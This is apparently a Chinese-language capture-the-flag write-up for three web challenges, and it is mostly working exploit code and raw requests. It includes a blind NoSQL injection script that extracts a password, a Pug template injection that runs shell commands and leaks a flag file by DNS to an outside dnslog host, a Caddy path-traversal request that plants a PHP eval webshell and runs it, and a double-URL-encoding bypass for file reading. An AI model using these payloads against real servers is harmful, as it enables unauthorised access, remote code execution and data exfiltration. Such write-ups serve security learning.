CandyShop
user.js
Mongodb注入
let rec = await db.Users.find({username: username, password: password})
利用脚本
import requests
from urllib.parse import quote
url = 'http://123.60.21.23:23333/user/login'
result = ''
for i in range(1, 233):
ascii_min = 0
ascii_max = 128
while ascii_max - ascii_min > 1:
mid = (ascii_min + ascii_max) // 2
data = 'username=rabbit&password[$lt]=' + quote(result + chr(mid))
r = requests.post(url, data=data, headers={'Content-Type': 'application/x-www-form-urlencoded'})
if 'Bad' in r.text:
ascii_max = mid
else:
ascii_min = mid
print(ascii_min, ascii_max, mid)
if ascii_min == 0:
break
result += chr(ascii_min)
print(result)
print(result)
# 49149bea75a9003d186556101ca2ad2fcd3115753d08d4bc21027c015dd653bf
shop.js
pug模板注入
模板部分内容可控,可以执行任意的js代码
pug模板对格式有一定的限制,能够成功执行命令,但无回显,通过dnslog得到flag
const pug = require('pug')
router.post('/order', checkLogin, checkActive, async (req, res) => {
let {username, candyname, address} = req.body
let tpl_path = path.join(__dirname, '../views/confirm.pug')
fs.readFile(tpl_path, (err, result) => {
if (err) {
res.render('error', {error: 'Fail to load template!'})
} else {
// 模板渲染前的文本替换
let tpl = result
.toString()
.replace('USERNAME', username)
.replace('CANDYNAME', candyname)
.replace('ADDRESS', address)
res.send(pug.render(tpl, options={filename: tpl_path}))//模板注入
}
})
})
POST /shop/order
username=' readonly) %0a %23{console.log(global.process.mainModule.constructor._load("child_process").execSync("ping `cat /flag`.xxx.ceye.io").toString())} // &candyname=bunny_candy&address=1
VerySafe
Caddy <= 2.4.2 在传递script_path给php-fpm的时候可以目录穿越
在默认php-fpm的docker和caddy<=2.4.2的环境下无条件RCE
GET /../usr/local/lib/php/peclcmd.php?+config-create+/tmp/<?=eval($_POST[1]);?>/*+/srv/qqqq.php HTTP/1.1
Host: test.local:54120
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
################
POST /../tmp/qqqq.php HTTP/1.1
Host: test.local:54120
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
1=system('/readflag');
EasyPHP
nginx.conf
#/admin只能本地访问
location /admin {
allow 127.0.0.1;
deny all;
}
location @phpfpm {
include fastcgi_params;
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
fastcgi_pass php:9000;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME $document_root/index.php;
#REQUEST_URI 来自 $uri, $uri 是没有经过urldecode的. PHP-FPM 回对收到的REQUEST_URI进行urldecode
fastcgi_param REQUEST_URI $uri;
}
index.php
function isdanger($v){
if(is_array($v)){
foreach($v as $k=>$value){
if(isdanger($k)||isdanger($value)){
return true;
}
}
}else{
if(strpos($v,"../")!==false){
return true;
}
}
return false;
}
# ../ 不能出现在 $_GET,$_POST,$_COOKIE,$_SESSION
$app->before("start",function(){
foreach([$_GET,$_POST,$_COOKIE,$_FILES] as $value){
if(isdanger($value)){
die("go away hack");
}
}
});
# 非admin只能访问/login
$app->route('/*', function(){
global $app;
$request = $app->request();
$app->render("head",[],"head_content");
# url中要包含 login
if(stristr($request->url,"login")!==FALSE){
return true;
}else{
if($_SESSION["user"]){
return true;
}
$app->redirect("/login");
}
});
Router.php
public function route(Request $request) {
# 被路由前,会对URL进行一次urldecode,利用二次url编码绕过
# /%2561%2564%256d%2569%256e ==> /admin
$url_decoded = urldecode( $request->url );
while ($route = $this->current()) {
if ($route !== false && $route->matchMethod($request->method) && $route->matchUrl($url_decoded, $this->case_sensitive)) {
return $route;
}
$this->next();
}
return false;
}
绕过验证
http://124.71.132.232:60080/%2561%2564%256d%2569%256e%3flogin
index.php
代码是针对$_GET来过滤的,要读取的文件名却是从"./".$request->query->data获取
$app->route('/admin', function(){
global $app;
$request = $app->request();
#
$app->render("admin",["data"=>"./".$request->query->data],"body_content");
$app->render("template",[]);
});
Request.php
$request->query在init中被覆盖
public function init(){
...
// Default url
if (empty($this->url)) {
$this->url = '/';
}
// Merge URL query parameters with $_GET
else {
$_GET += self::parseQuery($this->url);
$this->query->setData($_GET);
}
...
}
public static function parseQuery($url) {
$params = array();
$args = parse_url($url);
if (isset($args['query'])) {
parse_str($args['query'], $params);
}
return $params;
}
最后
http://124.71.132.232:60080/%2561%2564%256d%2569%256e%3flogin&data=..%252f..%252f..%252f..%252fflag